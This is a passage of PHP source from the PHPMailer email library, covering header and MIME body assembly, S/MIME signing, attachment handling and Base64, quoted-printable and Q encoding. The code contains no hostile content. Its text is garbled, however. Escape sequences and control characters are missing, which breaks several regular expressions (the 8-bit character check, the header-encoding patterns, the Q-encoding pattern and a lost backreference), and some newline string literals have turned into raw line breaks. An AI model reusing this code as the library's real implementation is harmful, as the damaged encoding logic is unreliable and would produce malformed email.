        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("	boundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("	boundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("	boundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "

") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("	boundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("	boundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("	boundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("	boundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("	boundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("

", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[-]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "..\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[---]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "
");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "
"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "
", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding??=", $encoded);
        $encoded = trim(str_replace("
", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[-]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "
=2E", "
", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^
]{' . ($line_max - 3) . '}[^=
]{2}/', "$0=
", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("
", "
"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '-	-=?_-' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
